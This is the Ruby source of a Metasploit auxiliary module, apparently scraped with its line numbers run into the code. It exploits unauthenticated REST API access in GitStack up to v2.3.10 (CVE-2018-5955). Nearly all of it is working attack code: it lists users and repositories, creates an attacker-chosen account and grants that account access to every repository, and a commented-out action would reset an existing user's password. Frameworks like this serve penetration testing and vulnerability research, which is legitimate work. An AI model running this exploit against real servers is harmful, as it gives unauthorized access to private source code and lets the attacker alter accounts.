Path: blob/master/modules/auxiliary/admin/http/gitstack_rest.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'GitStack Unauthenticated REST API Requests',14'Description' => %q{15This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.16The module supports requests for listing users of the application and listing17available repositories. Additionally, the module can create a user and add the user18to the application's repositories. This module has been tested against GitStack v2.3.10.19},20'Author' => [21'Kacper Szurek', # Vulnerability discovery and PoC22'Jacob Robles' # Metasploit module23],24'License' => MSF_LICENSE,25'References' => [26['CVE', '2018-5955'],27['EDB', '43777'],28['EDB', '44044']29],30'DisclosureDate' => '2018-01-15',31'Actions' => [32[33'LIST',34{35'Description' => 'List application users',36'List' => 'GET',37'UserPath' => '/rest/user/'38}39],40[41'CREATE',42{43'Description' => 'Create a user on the application',44'Create' => 'POST',45'List' => 'GET',46'UserPath' => '/rest/user/',47'RepoPath' => '/rest/repository/'48}49],50# If this is uncommented, you will be able to change an51# existing user's password.52# After modifying the user's password, the user will be53# added to all available repositories.54# The cleanup action removes the user from all repositories55# and then deletes the user... so this action may not be desirable.56# [57# 'MODIFY',58# {59# 'Description' => "Change the application user's password",60# 'Create' => 'PUT',61# 'List' => 'GET',62# 'UserPath' => '/rest/user/',63# 'RepoPath' => '/rest/repository/'64# }65# ],66[67'LIST_REPOS',68{69'Description' => 'List available repositories',70'List' => 'GET',71'RepoPath' => '/rest/repository/'72}73],74[75'CLEANUP',76{77'Description' => 'Remove user from repositories and delete user',78'List' => 'GET',79'Remove' => 'DELETE',80'RepoPath' => '/rest/repository/',81'UserPath' => '/rest/user/'82}83]84],85'DefaultAction' => 'LIST',86'Notes' => {87'Stability' => [CRASH_SAFE],88'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],89'Reliability' => []90}91)92)9394register_options(95[96OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),97OptString.new('PASSWORD', [false, 'Password for user', 'password'])98]99)100end101102def get_users103path = action.opts['UserPath']104begin105res = send_request_cgi({106'uri' => path,107'method' => action.opts['List']108})109rescue Rex::ConnectionError, Errno::ECONNRESET => e110print_error("Failed: #{e.class} - #{e.message}")111return112end113if res && res.code == 200114begin115mylist = res.get_json_document116mylist -= ['everyone']117rescue JSON::ParserError => e118print_error("Failed: #{e.class} - #{e.message}")119return120end121mylist.each do |item|122print_good(item.to_s)123end124end125end126127def get_repos128path = action.opts['RepoPath']129begin130res = send_request_cgi({131'uri' => path,132'method' => action.opts['List']133})134rescue Rex::ConnectionError, Errno::ECONNRESET => e135print_error("Failed: #{e.class} - #{e.message}")136return nil137end138if res && res.code == 200139begin140mylist = res.get_json_document141return mylist142rescue JSON::ParserError => e143print_error("Failed: #{e.class} - #{e.message}")144return nil145end146else147return nil148end149end150151def clean_app152user = datastore['USERNAME']153unless user154print_error('USERNAME required')155return156end157158mylist = get_repos159if mylist160# Remove user from each repository161mylist.each do |item|162path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"163begin164res = send_request_cgi({165'uri' => path,166'method' => action.opts['Remove']167})168rescue Rex::ConnectionError, Errno::ECONNRESET => e169print_error("Failed: #{e.class} - #{e.message}")170break171end172173if res && res.code == 200174print_good(res.body.to_s)175else176print_status("User #{user} doesn't have access to #{item['name']}")177end178end179end180181# Delete the user account182path = "#{action.opts['UserPath']}#{user}/"183begin184res = send_request_cgi({185'uri' => path,186'method' => action.opts['Remove']187})188rescue Rex::ConnectionError, Errno::ECONNRESET => e189print_error("Failed: #{e.class} - #{e.message}")190return191end192193# Check if the account was successfully deleted194if res && res.code == 200195print_good(res.body.to_s)196else197print_error(res.body.to_s)198end199end200201def add_user202user = datastore['USERNAME']203pass = datastore['PASSWORD']204205begin206res = send_request_cgi({207'uri' => action.opts['UserPath'],208'method' => action.opts['Create'],209'vars_post' => {210'username' => user,211'password' => pass212}213})214rescue Rex::ConnectionError, Errno::ECONNRESET => e215print_error("Failed: #{e.class} - #{e.message}")216return217end218if res && res.code == 200219print_good("SUCCESS: #{user}:#{pass}")220else221print_error(res.body.to_s)222return223end224225mylist = get_repos226if mylist227mylist.each do |item|228path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"229begin230res = send_request_cgi({231'uri' => path,232'method' => action.opts['Create']233})234rescue Rex::ConnectionError, Errno::ECONNRESET => e235print_error("Failed: #{e.class} - #{e.message}")236next237end238if res && res.code == 200239print_good(res.body.to_s)240else241print_error('Failed to add user')242print_error(res.body.to_s)243end244end245else246print_error('Failed to retrieve repository list')247end248end249250def run251if ['LIST'].include?(action.name)252print_status('Retrieving Users')253get_users254elsif ['LIST_REPOS'].include?(action.name)255print_status('Retrieving Repositories')256mylist = get_repos257if mylist258mylist.each do |item|259print_good(item['name'].to_s)260end261else262print_error('Failed to retrieve repository list')263end264elsif ['CLEANUP'].include?(action.name)265clean_app266elsif datastore['USERNAME'] && datastore['PASSWORD']267add_user268else269print_error('USERNAME and PASSWORD required')270end271end272end273274275